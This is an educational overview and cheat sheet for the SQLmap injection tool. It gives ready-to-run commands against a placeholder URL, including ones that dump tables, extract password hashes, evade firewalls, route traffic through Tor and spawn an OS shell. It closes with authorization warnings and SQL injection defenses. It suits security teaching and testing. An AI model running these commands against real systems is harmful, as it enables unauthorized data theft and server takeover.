SQLmap is an open-source penetration testing tool designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications. It is a powerful tool for both attackers and security professionals, capable of identifying vulnerabilities, retrieving data, and even executing commands on compromised databases.
- Automated SQL Injection Detection
- Identifies SQL injection vulnerabilities by testing various payloads on web application parameters.
- Database Fingerprinting
- Identifies the type, version, and features of the database management system (DBMS).
- Data Extraction
- Retrieves database schema, table contents, and credentials.
- Privilege Escalation
- Explores database user privileges and escalates access if possible.
- Operating System Interaction
- Executes OS-level commands when databases support extended functionality.
- Support for Multiple Injection Types
- Blind SQLi
- Boolean-based SQLi
- Time-based SQLi
- Union-based SQLi
- Error-based SQLi
- Stacked queries and out-of-band (OOB) injections.
- Database Support
- Works with popular DBMSs, including:
- MySQL
- PostgreSQL
- Oracle
- Microsoft SQL Server
- SQLite
- MariaDB
- Tor and Proxy Support
- Routes traffic through Tor or proxies for anonymity.
SQLmap works by sending crafted SQL payloads to the target application and analyzing the responses to identify vulnerabilities and extract data.
- Identify the target URL or form.
- Configure SQLmap with the target.
- SQLmap sends various payloads to test for vulnerabilities.
- Upon finding a vulnerability, SQLmap exploits it to extract data or perform additional actions.
sqlmap -u "http://example.com/page?id=1"
- Tests the id parameter in the URL for SQL injection.
sqlmap -u "http://example.com/page?id=1" --dbs
- Lists all databases on the target.
sqlmap -u "http://example.com/page?id=1" -D database_name --tables
- Lists all tables in the specified database.
sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
- Extracts all data from the specified table.
sqlmap -u "http://example.com/page?id=1" --current-user
- Retrieves the current database user.
sqlmap -u "http://example.com/page?id=1" --forms
- Scans all parameters in forms on the page.
sqlmap -u "http://example.com/page?id=1" --tamper=charencode
- Uses tamper scripts to bypass Web Application Firewalls (WAFs).
sqlmap -u "http://example.com/page?id=1" --tor
- Routes traffic through the Tor network.
sqlmap -u "http://example.com/page?id=1" --passwords
- Extracts hashed passwords stored in the database.
sqlmap -u "http://example.com/page?id=1" --privileges
- Identifies privileges of the current database user.
sqlmap -u "http://example.com/page?id=1" --os-shell
- Spawns a shell to execute operating system commands (if supported).
- Only Test Systems You Own or Have Permission To Test
- Unauthorized use can lead to legal consequences.
- Do Not Use on Production Systems Without Approval
- SQLmap can send high volumes of requests, potentially causing performance degradation.
- Input Validation and Sanitization
- Validate and sanitize all user inputs to prevent SQL injection.
- Parameterized Queries
- Use prepared statements or stored procedures instead of dynamic SQL.
- Web Application Firewalls (WAFs)
- Block common SQL injection payloads and tamper scripts.
- Least Privilege Principle
- Restrict database user permissions to the minimum required.
- Regular Security Audits
- Use tools like SQLmap in authorized tests to identify and patch vulnerabilities.
| Feature | Details |
|---|---|
| Purpose | Automate detection and exploitation of SQL injection vulnerabilities. |
| Key Features | Data extraction, privilege escalation, OS interaction, bypass WAFs. |
| Common Commands | --dbs (list databases), --tables (list tables), --dump (extract data). |
| Supported DBMS | MySQL, PostgreSQL, SQLite, MSSQL, Oracle, MariaDB. |
| Mitigation | Input validation, parameterized queries, WAFs, least privilege principle. |
SQLmap is an essential tool for penetration testers, offering powerful features for detecting and exploiting SQL injection vulnerabilities. While it streamlines vulnerability testing, its use must be ethical and authorized to avoid legal and operational risks. Organizations can defend against SQLmap and similar tools by adopting robust security measures like input validation, prepared statements, and regular testing.